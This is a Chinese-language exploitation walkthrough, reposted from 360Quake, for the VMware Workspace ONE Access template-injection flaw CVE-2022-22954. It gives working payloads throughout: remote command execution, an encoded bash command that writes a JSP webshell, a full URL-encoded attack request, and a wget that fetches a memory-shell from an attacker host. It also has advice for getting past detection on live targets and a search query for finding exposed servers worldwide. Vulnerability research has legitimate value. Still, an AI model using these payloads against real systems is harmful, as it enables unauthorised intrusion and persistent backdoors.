cve-2022-22954漏洞从命令执行到getshell

admin 2023年3月8日23:42:06评论90 views字数 3571阅读11分54秒阅读模式

漏洞介绍

漏洞名称

  • VMware 服务端模板注入(SSTi)漏洞

影响范围

  • VMware Workspace ONE Access : 21.08.0.1,21.08.0.0,20.10.0.1,20.10.0.0
  • VMware Identity Manager : 3.3.6,3.3.5,3.3.4,3.3.3
  • VMware Cloud Foundation : 4.x
  • vRealize Suite Lifecycle Manager : 8.x

利用条件

  • 无需用户认证
  • 远程命令执行

环境搭建

下载ova

identity-manager-21.08.0.1-19010796_OVF10.ova
下载地址:https://customerconnect.vmware.com/cn/downloads/details?downloadGroup=WS1A_ONPREM_210801&productId=1166&rPId=72076&download=true&fileId=9105132915e73dc7c0019f80b266d79d&uuId=d74aa804-dea0-43aa-ae53-9a64c5454288

Name:identity-manager-21.08.0.1-19010796_OVF10.ova
发布日期:2021-12-09
内部版本号:19010796
MD5SUM:1cbb84480f328d17466e79f5a63fb58e
  • 注册一个vmware账号,下载上述带漏洞的版本即可

导入VMware

  • 将下载好的ova文件,导入本地的VMware客户端中,需要注意,在导入ova以后,需要设置Host Nmae(FQDN)为后续我们需要使用的域名
cve-2022-22954漏洞从命令执行到getshell

绑定host

  • 等待安装完成,查看ip与地址
cve-2022-22954漏洞从命令执行到getshell
  • 在本地hosts中绑定ip与域名
cve-2022-22954漏洞从命令执行到getshell

安装

  • 访问域名进行安装,输入相关用户名密码以后安装完成
cve-2022-22954漏洞从命令执行到getshell

漏洞复现

命令执行

  • 访问:https://workspace.test.com/SAAS/auth/login,使用burp抓包,执行命令cat /etc/passwd
cve-2022-22954漏洞从命令执行到getshell

写入webshell

  • 经过测试存在漏洞,既然可以执行命令,那么也可以写webshell,经过测试,发现/opt/vmware/horizon/workspace/webapps/SAAS/horizon/js/目录可写,并且可以解析

  • https://www.bugku.net/runtime-exec-payloads/ 生成bash命令,生成的命令如下

  • 原始命令

echo "<% out.print("123"); %>" > /opt/vmware/horizon/workspace/webapps/SAAS/horizon/js/a.jsp
  • 编码以后的命令
bash -c {echo,ZWNobyAiPCUgb3V0LnByaW50KFwiMTIzXCIpOyAlPiIgPiAvb3B0L3Ztd2FyZS9ob3Jpem9uL3dvcmtzcGFjZS93ZWJhcHBzL1NBQVMvaG9yaXpvbi9qcy9hLmpzcA==}|{base64,-d}|{bash,-i}
  • 将生成的命令进行url编码
cve-2022-22954漏洞从命令执行到getshell
  • 将url编码以后的payload放入repeater中发包
cve-2022-22954漏洞从命令执行到getshell
GET /catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%62%61%73%68%20%2d%63%20%7b%65%63%68%6f%2c%5a%57%4e%6f%62%79%41%69%50%43%55%67%62%33%56%30%4c%6e%42%79%61%57%35%30%4b%46%77%69%4d%54%49%7a%58%43%49%70%4f%79%41%6c%50%69%49%67%50%69%41%76%62%33%42%30%4c%33%5a%74%64%32%46%79%5a%53%39%6f%62%33%4a%70%65%6d%39%75%4c%33%64%76%63%6d%74%7a%63%47%46%6a%5a%53%39%33%5a%57%4a%68%63%48%42%7a%4c%31%4e%42%51%56%4d%76%61%47%39%79%61%58%70%76%62%69%39%71%63%79%39%68%4c%6d%70%7a%63%41%3d%3d%7d%7c%7b%62%61%73%65%36%34%2c%2d%64%7d%7c%7b%62%61%73%68%2c%2d%69%7d%22%29%7d HTTP/1.1
Host: workspace.test.com
  • 如果测试实网目标请一定要将Host设置为任意域名不然无法通过Vmware Workspace One Access的检测

  • 访问https://workspace.test.com/SAAS/horizon/js/a.jsp 就为写入的文件

下载webshell

  • 如果需要写大马或者内存马直接echo可能会超出get请求的长度,那么还有一种办法,在目标能出网的情况下,可以使用python启一个http服务,下载一个webshell
  • 在目录下放一个jsp木马,这里以listener内存马为例:

/catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7B%22freemarker.template.utility.Execute%22%3Fnew%28%29%28%22wget+-P+/opt/vmware/horizon/workspace/webapps/SAAS/horizon/js/+http://ip:port/nei1.jsp%22%29%7D

cve-2022-22954漏洞从命令执行到getshell
  • 访问内存马(https://workspace.test.com/SAAS/horizon/js/nei1.jsp),提示注入成功
cve-2022-22954漏洞从命令执行到getshell
  • 然后访问任意一个路由,均可执行命令 https://workspace.test.com/SAAS/auth/login?cmd=whoami
cve-2022-22954漏洞从命令执行到getshell

  • 在实网测试时发现直接执行echo命令无法成功写入webshell
  • 经过测试,放弃使用Execute进行命令执行,在代码层面进行webshell的写入,测试的payload如下:
/catalog-portal/ui/oauth/verify?error=&deviceUdid=${"freemarker.template.utility.ObjectConstructor"?new()("java.io.FileOutputStream","/opt/vmware/horizon/workspace/webapps/SAAS/horizon/js/aaa.jsp").write("freemarker.template.utility.ObjectConstructor"?new()("java.lang.String","<% out.print("123"); %>").getBytes())}
cve-2022-22954漏洞从命令执行到getshell
  • 访问 https://workspace.test.com/SAAS/horizon/js/aaa.jsp 文件被成功写入

漏洞影响

  • quake搜索语法

app:"Vmware Workspace One Access"

  • 全网近一年数据中使用Vmware Workspace One Access的独立IP有2201,涉及服务有25930条
cve-2022-22954漏洞从命令执行到getshell
  • 全世界数据统计中发现使用Vmware Workspace One Access最多的是美国,第2~6位的是德国、中国、泰国、加拿大、巴西,涉及的服务数量分别是:9502、1643、1415、1264、834、707,详情请看下图:
cve-2022-22954漏洞从命令执行到getshell
  • 在中国数据统计中,使用量最大的为香港的591条服务,其次是台湾省的222条服务,在北京、广东、天津、上海四个省市中使用的数量也在100条左右,详情请看下图:
cve-2022-22954漏洞从命令执行到getshell

参考链接

  • https://www.vmware.com/security/advisories/VMSA-2022-0011.html

欢迎进群

添加管理员微信号:quake_360

备注:进群    邀请您加入 QUAKE交流群~

原文始发于微信公众号(360Quake空间测绘):cve-2022-22954漏洞从命令执行到getshell

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月8日23:42:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   cve-2022-22954漏洞从命令执行到getshellhttps://cn-sec.com/archives/1237612.html

发表评论

匿名网友 填写信息